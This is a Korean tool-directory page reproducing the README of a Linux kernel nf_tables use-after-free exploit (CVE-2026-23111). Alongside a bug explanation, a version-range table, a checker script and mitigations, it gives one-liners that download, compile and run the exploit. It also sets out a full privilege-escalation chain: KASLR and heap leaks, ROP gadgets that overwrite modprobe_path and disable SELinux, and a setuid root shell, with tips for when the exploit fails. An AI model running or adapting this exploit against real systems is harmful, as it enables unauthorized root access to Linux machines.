Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23111 — Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
도구/GitHubGitHub/baba01hacker666/cve-2026-23111
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringPapers & ResearchLearning & EducationBinary Exploitation
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

저장소 보기
721개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23111 개념 증명

Linux Kernel nf_tables 사용 후 해제 (로컬 권한 상승) poc by baba01hacker

취약점 요약

  • CVE: CVE-2026-23111
  • 유형: 사용 후 해제 (CWE-416)
  • CVSS: 7.8 (높음)
  • 구성 요소: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • 근본 원인: 잘못된 genmask 검사로 인해 트랜잭션 중단 시 체인 참조 카운터 누수 발생

영향을 받는 커널 버전

버전 범위수정 버전
6.19-rc1 ~ 6.19-rc86.19-rc9+
6.13 ~ 6.18.96.18.10
6.7 ~ 6.12.696.12.70
6.4.1 ~ 6.5.xEOL (안정적인 수정 없음)
6.3.10 ~ 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 ~ 6.1.1626.1.163
5.15.121 ~ 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+다양한 LTS

취약점 세부 정보

CVE-2026-23111은 nft_map_catchall_activate()에서 생성 마스크 검사가 반대로 되어 발생하는 nf_tables 사용 후 해제입니다. 실패한 트랜잭션의 롤백 중에 NFT_MSG_DELSET에 의해 비활성화된 catchall 판정 맵 요소는 NFT_GOTO 체인 참조와 같은 참조를 복원하기 위해 다시 활성화되어야 합니다. catchall 활성화 경로는 대신 비활성 요소를 건너뛰고 활성 요소를 처리하여 비활성화된 catchall 요소가 복원되지 않은 상태로 남습니다.

올바른 비-catchall 활성화 로직:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* 활성은 건너뛰고, 비활성 처리 */

취약한 catchall 경로는 반대 조건을 사용했습니다:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* 비활성 건너뛰고, 활성 처리 */

삭제된 pipapo 판정 맵이 롤백될 때, 이로 인해 비활성 catchall 요소에 대해 nft_setelem_data_activate()가 실행되지 않습니다. NFT_JUMP/NFT_GOTO 판정 데이터의 경우, nft_data_hold()가 가져온 체인 참조가 복원되지 않습니다. 중단/전환/삭제 시퀀스를 반복하면 다른 규칙에 여전히 유효한 판정 참조가 있는 상태에서 chain->use가 0이 될 수 있습니다. 이후 DELCHAIN은 체인이 여전히 도달 가능한 상태에서 체인을 해제하여 UAF를 생성합니다.

트리거 흐름

root@kitploit:~
테이블, 기본 체인, 피해 체인 및 catchall NFT_GOTO -> 피해가 포함된 pipapo 판정 맵 생성
        |
배치 1: pipapo 세트 삭제 후 트랜잭션 오류 강제 발생
        |
중단 경로가 nft_map_catchall_activate()를 호출하지만, 반전된 검사로 인해 비활성 catchall을 건너뜀
        |
catchall이 비활성 상태로 남아 피해 체인 참조 카운트가 복원되지 않음
        |
배치 2: 정상 트랜잭션을 커밋하여 생성 커서 전환
        |
배치 3: pipapo 세트를 성공적으로 삭제하여 피해 체인 참조를 다시 감소시킴
        |
배치 4: 기본 체인 판정이 여전히 참조하는 피해 체인 삭제
        |
패킷 평가 또는 규칙 덤프가 매달린 판정 참조를 따라갈 때 사용 후 해제 발생

업스트림 수정은 nft_map_catchall_activate()가 nft_mapelem_activate()와 일치하도록 부정을 제거하는 것입니다: 활성 요소는 건너뛰고, 비활성 요소는 다시 활성화되며, 중단 처리 중에 판정/객체 참조가 복원됩니다.

테스트 전용

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

PoC 원라이너 실행

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 대체 원라이너

전체/v1 PoC가 대상 커널에서 실패할 경우 사용합니다.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

로컬 빌드

컴파일러가 libmnl/libmnl.h 또는 libnftnl 헤더를 찾지 못하는 경우 먼저 빌드 종속성을 설치합니다:

root@kitploit:~
scripts/install-build-deps.sh
# 또는
make deps
root@kitploit:~
make          # 익스플로잇 빌드 (PoC 전용)
make v2       # v2 익스플로잇 빌드 (FuzzingLabs 방식 — v1 실패 시 시도)
make full     # 전체 LPE 익스플로잇 빌드
make v3       # v3 교정된 eval-path 변형 빌드
make run-d    # 디버그 출력으로 PoC 실행
make run-v2-d # 디버그 출력으로 v2 실행
make run-v3   # v3 사용법/도움말 표시
make run-full # 전체 LPE 실행

익스플로잇 단계

Phase 1: UAF 트리거 ✅ 작동 중

catchall 요소(goto 피해 체인)가 포함된 pipapo 맵 세트를 만든 다음 DELSET 중단 중에 반전된 genmask 버그를 사용하여 chain->use를 손상시킵니다. 생성 카운터를 진행한 후 매달린 참조가 있음에도 DELCHAIN이 성공하여 체인이 해제됩니다.

Phase 2: KASLR 누출 ✅ 작동 중

UAF 후 chain->name 메모리가 해제됩니다. /proc/self/stat을 열어 seq_operations 구조(32바이트)를 스프레이하여 해제된 slab 캐시 슬롯을 재확보합니다. NFT_MSG_GETRULE을 통해 기본 체인의 즉시 판정 규칙을 다시 읽으면 재확보된 체인 이름이 덤프되어 커널 함수 포인터가 누출됩니다. 포인터 유효성 검사를 통해 정규 커널 텍스트 주소만 허용됩니다.

Phase 3: 힙 주소 누출 ✅ 작동 중

더 긴 체인 이름(140바이트 → kmalloc-cg-192)으로 UAF를 다시 트리거한 다음 nft_rule 객체를 스프레이하여 메모리를 재확보합니다. 누출된 list_head 포인터는 직접 맵 영역의 힙 주소를 드러냅니다.

Phase 4: 제어 흐름 하이재킹 및 ROP 🔧 프레임워크 완료

  • 제어된 데이터가 포함된 192바이트 규칙 2개를 스프레이하여 가짜 nft_expr_ops 및 nft_rule_blob 생성
  • Phase 3의 힙 주소를 사용하여 가짜 blob → 가짜 expr_ops 포인터 연결
  • 128바이트 테이블 userdata 스프레이로 해제된 체인의 blob_gen_0 덮어쓰기
  • ROP 체인: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROP 가젯은 /proc/kcore에서 자동 스캔
  • 기본 체인을 통해 패킷 전송하여 하이재킹된 expr->ops->eval 호출

v2 익스플로잇 (FuzzingLabs 방식)

v2 익스플로잇(exploit_v2.c)은 FuzzingLabs 글에 설명된 기술을 사용하며 v1 PoC가 실패할 때 사용할 수 있습니다. 주요 차이점:

v2 누출 체인 (init_ipc_ns 임의 읽기)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (태그된 포인터)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg 힙 주소

각 단계는 해제된 체인 구조를 임의 읽기 프리미티브로 사용합니다: 테이블 userdata(128바이트)는 kmalloc-cg-128에서 해제된 nft_chain을 재확보하고, 오프셋 0x40(체인의 chain->name 위치)에 배치된 커널 주소는 SET_B 요소 덤프 중 커널에 의해 역참조됩니다.

v3 힙 보정 및 ROP 체인 (modprobe_path)

v3 힙 단계는 실제 이진 안전 임의 읽기-평가 프리미티브가 아닌 오프셋 예측에 기반합니다. 최종 스프레이 전에 대상을 보정하세요:

root@kitploit:~
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048 객체 밀도와 교차 참조한 후 다음 실행:
./exploit_v3 --msg-msg-addr 0xffff...
# 또는 누출된 커널 베이스를 기준으로 값이 알려진 경우:
./exploit_v3 --msg-msg-delta 0x...

정확한 커널 빌드에 대해 nftables 구조체 오프셋을 확인하세요:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

가젯 스캔은 /proc/kcore를 사용합니다. 제한된 경우 vmlinux에서 가젯을 추출하여 오프라인으로 사용하고 누출된 커널 베이스를 기준으로 주소를 하드코딩하세요. v3 패킷 평가 경로는 push rdi; pop rsp를 사용합니다. rdi = expr이기 때문입니다. 이는 rsi = expr인 v2 검증 경로와 다릅니다.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← 스택 피벗 (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ modprobe_path 쓰기
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ SELinux 비활성화
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ 커널 유지

커널이 알 수 없는 바이너리 형식을 만난 후 modprobe_path를 호출하면 /tmp/pe 스크립트가 root로 실행됩니다. 이 스크립트는 /tmp/rootbash에 setuid root 셸을 생성합니다.

v2 vs v1 사용 시점

  • v1이 KASLR 누출에서 실패: v2는 NFT_MSG_GETELEM (다른 커널 코드 경로)을 사용하여 NFT_MSG_GETRULE 대신 사용
  • v1이 힙 누출에서 실패: v2는 init_ipc_ns 전역 변수를 사용하여 커널 데이터 구조를 탐색하고 nft_rule 객체 스프레이 대신 사용
  • v1이 하이재킹에서 실패: v2는 ROP 페이로드에 nft_rules + 테이블 userdata 대신 msg_msg-2k (크고 안정적인 버퍼)를 사용
  • v1이 권한 상승에서 실패: v2는 commit_creds + 네임스페이스 전환 대신 modprobe_path (swapgs/iretq 없이 작동)를 사용
  • 커널에 SLAB_RANDOM/하드닝 있음: v2의 init_ipc_ns 체인은 안정적인 전역을 대상으로 하여 힙 레이아웃이 덜 중요함

기술적 세부 사항

버그

nft_map_catchall_activate() (net/netfilter/nf_tables_api.c)에서:

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // 버그: '!' 없어야 함
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

!로 인해 함수가 비활성 요소를 처리하는 대신 건너뛰게 됩니다. 트랜잭션 중단 중에 DELSET에 의해 방금 비활성화된 catchall 요소가 건너뛰어져 nft_data_hold()가 호출되지 않아 체인 참조 카운터가 복원되지 않습니다.

익스플로잇 메커니즘

  1. catchall 요소(goto 피해 체인)가 포함된 pipapo 맵 세트 생성
  2. 배치 A: DELSET + 유효하지 않은 op → 중단 → chain->use가 0으로 유지됨
  3. 배치 B: 유효한 트랜잭션 → genid 진행
  4. 배치 C: DELSET → 성공
  5. 배치 D: DELCHAIN → 체인 해제 (chain->use == 0이지만 매달린 참조 존재)
  6. 세트의 catchall 요소가 여전히 해제된 체인 이름을 참조 → 스프레이 + 읽기

파일

root@kitploit:~
├── CVE-2026-23111-checker.py   취약점 탐지 스크립트 (--detailed, --json)
├── exploit.c                   PoC 익스플로잇 (UAF + KASLR 누출 + 힙 누출)
├── exploit_v2.c                v2 익스플로잇 (FuzzingLabs 방식 — v1 실패 시 시도)
├── exploit_full.c              전체 LPE 익스플로잇 (UAF + 누출 + ROP 체인)
├── exploit_full_aarch64        사전 빌드된 aarch64 바이너리 (정적)
├── exploit_full.b64            Base64로 인코딩된 전체 익스플로잇 바이너리
├── Makefile                    빌드 설정
└── README.md                   이 파일

빌드 요구 사항

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

크로스 컴파일 (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

디버그 빌드 (AddressSanitizer 포함)

root@kitploit:~
make debug          # ASan이 포함된 PoC
make debug-full     # ASan이 포함된 전체 익스플로잇

체커 스크립트

체커는 여러 탐지 방법을 수행합니다:

  • 버전 일치: 알려진 모든 취약 버전 범위(rc 커널 포함)에 대해 커널 버전 확인
  • 모듈 탐지: nf_tables 커널 모듈이 로드되었는지 확인
  • 커널 설정: /proc/config.gz 또는 /boot/config-*에서 CONFIG_NF_TABLES 읽기
  • 심볼 확인: /proc/kallsyms에서 nft_map_catchall_activate 검색
  • 네임스페이스 설정: kernel.unprivileged_userns_clone sysctl 확인
  • 위험 점수: 모든 지표를 결합하여 0-6 위험 점수 산출
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # 대책이 포함된 사람이 읽을 수 있는 출력
python3 CVE-2026-23111-checker.py --json        # 기계가 읽을 수 있는 JSON

문제 해결

참고 자료

  • FuzzingLabs - CVE-2026-23111 재현
  • Exodus Intel 블로그 - 상세 분석
  • NVD 항목
  • 커널 패치 1
  • 커널 패치 2

대책

  1. 패치된 버전(6.18.10+, 6.12.70+, 6.6.124+ 등)으로 커널 업데이트
  2. 권한 없는 사용자 네임스페이스 비활성화: sysctl kernel.unprivileged_userns_clone=0
  3. 필요하지 않은 경우 nf_tables 모듈 블랙리스트 등록:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
도구 다운로드
구성 요소v1 (exploit.c)v2 (exploit_v2.c)
UAF 트리거단일 세트 + 즉시 goto 규칙두 세트 (FuzzingLabs 스타일) + 조회 규칙
KASLR 읽기NFT_MSG_GETRULE (규칙 덤프)NFT_MSG_GETELEM (요소 덤프) + GETRULE 대체
힙 누출nft_rule 스프레이 + list_head 누출init_ipc_ns 임의 읽기 체인
ROP 호스트nft_rules + 테이블 userdatamsg_msg-2k (2048바이트 메시지)
하이재킹 트리거즉시 goto에 대한 패킷 평가생존한 세트 catchall에 대한 패킷 평가
권한 상승commit_creds + switch_task_namespacesmodprobe_path 덮어쓰기 + SELinux 비활성화
반환 경로swapgs; iretqmsleep() (커널에 머물러 있음)
문제해결 방법
mnl_socket_open: No such file or directorynf_tables 모듈이 로드되었는지 확인: modprobe nf_tables
unshare: Operation not permitted권한 없는 사용자 네임스페이스가 필요합니다. kernel.unprivileged_userns_clone=1 확인
Batch A did NOT abort커널이 패치되었거나 genmask 동작이 다를 수 있음
No kernel pointer leakedKASLR 하드닝 또는 SLAB_RANDOM이 적용 중일 수 있음; 여러 번 시도
No heap pointer found힙 스프레이 충돌률은 확률적입니다; 다시 시도하거나 스프레이 횟수 증가
컴파일: nf_tables.h: No such file커널 헤더 설치: apt install linux-headers-$(uname -r)
링크 오류: mnl_*에 대한 정의되지 않은 참조링크 순서 중요: -lnftnl -lmnl (nftnl이 mnl보다 먼저)